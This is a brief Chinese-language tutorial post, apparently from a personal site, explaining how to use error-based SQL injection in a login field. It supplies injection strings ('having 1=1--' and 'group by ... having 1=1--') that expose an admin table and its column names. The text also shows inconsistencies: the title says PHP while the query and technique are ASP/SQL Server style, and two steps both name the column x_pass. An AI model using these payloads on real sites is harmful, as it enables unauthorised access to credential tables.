php注入语句的判断

fuchou-angle

php注入语句的判断
作者: lost
网站: lost.cq.cn
尊重别人，尊重自己，请不要因为区区的一篇小文而践踏自己的人格，谢谢您们的支持、理解和合作！
如果这个注入点原来的SQL语句是:"select * from FK_admin where x_name='"&username&"'"
我们可以在用户名提交的地方填zerosoul' having 1=1--
整个SQL语句就变成了select * from FK_admin where x_name='zerosoul' having 1=1--'
返回结果如下图，可以把爆出FK_admin和第一个列名id爆出来:
接着提交zerosoul' group by id having 1=1--，爆出第二个列名x_pass，
再提交zerosoul' group by id,x_name having 1=1--，爆出第三个列名x_pass